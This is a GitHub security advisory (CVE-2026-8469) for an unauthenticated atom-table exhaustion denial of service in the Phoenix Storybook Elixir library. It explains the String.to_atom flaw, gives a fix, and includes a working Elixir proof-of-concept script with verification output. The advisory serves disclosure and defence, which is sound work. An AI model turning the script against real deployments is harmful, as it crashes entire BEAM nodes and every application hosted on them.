CVE-2026-8469: PhoenixStorybook Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-833p-95jq-929q",
  "modified" : "2026-06-09T21:59:07Z",
  "published" : "2026-06-09T21:59:07Z",
  "aliases" : [ "CVE-2026-8469" ],
  "summary" : "PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)",
  "details" : "### Summary\nAn attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.\n\nTabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395\n\n### Details\n`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:\n\n- `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.\n- `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `\"attr\"` value supplied by the client.\n- `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `\"variation_id\"`.\n- `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.\n\nThe existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.\n\nThe fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.\n\n### PoC\nThe attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.\n\nEach simulated request is a params map with 5,000 unique keys of the form `\"psb_evil_<nonce>_<r>_<i>\"`. Because the helper does `for {key, value} <- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.\n\nThe script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.\n\nThe full script is attached below under \"Scripts and Logs\".\n\n### Impact\nUnauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)\n#\n# Run with:\n#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs\n#\n# Threat model: an outside attacker who can deliver `psb-assign` events to a\n# mounted storybook view supplies attacker-controlled param maps. The library's\n# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`\n# is the documented entry point that LiveView event handlers feed those params\n# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The\n# helper interns every key of `params` with `String.to_atom/1`, so unique\n# attacker strings each create a permanent atom.\n\nMix.install([{:phoenix_storybook, \"1.0.0\"}])\n\nalias PhoenixStorybook.ExtraAssignsHelpers\nalias PhoenixStorybook.Stories.Variation\n\ndefmodule FakeStory do\n  def attributes, do: []\n  def variations, do: [%Variation{id: :default, attributes: %{}}]\nend\n\nextra_assigns = %{{:single, :default} => %{}}\n\n# Each request from the attacker is one params map. Use 5_000 unique attribute\n# names per request, across 5 requests = 25_000 distinct atoms permanently\n# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)\nnonce = System.unique_integer([:positive])\nrequests = 5\nattrs_per_request = 5_000\n\nbefore_count = :erlang.system_info(:atom_count)\n\nfor r <- 1..requests do\n  attacker_params =\n    for i <- 1..attrs_per_request, into: %{\"variation_id\" => \"default\"} do\n      {\"psb_evil_#{nonce}_#{r}_#{i}\", \"x\"}\n    end\n\n  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)\nend\n\nafter_count = :erlang.system_info(:atom_count)\ndelta = after_count - before_count\n\nIO.puts(\"atom_count before: #{before_count}\")\nIO.puts(\"atom_count after:  #{after_count}\")\nIO.puts(\"delta:             #{delta}\")\nIO.puts(\"atom_limit:        #{:erlang.system_info(:atom_limit)}\")\n\nexpected = requests * attrs_per_request\n\nif delta >= expected do\n  IO.puts(\n    \"VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})\")\nend\n\n```\n\n### Logs\n\n```logs\natom_count before: 26341\natom_count after:  51361\ndelta:             25020\natom_limit:        1048576\nVERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "phoenix_storybook"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.2.0"
      }, {
        "fixed" : "1.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-8469"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-8469.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/phenixdigital/phoenix_storybook"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-8469"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-09T21:59:07Z",
    "nvd_published_at" : "2026-05-20T14:17:04Z"
  }
}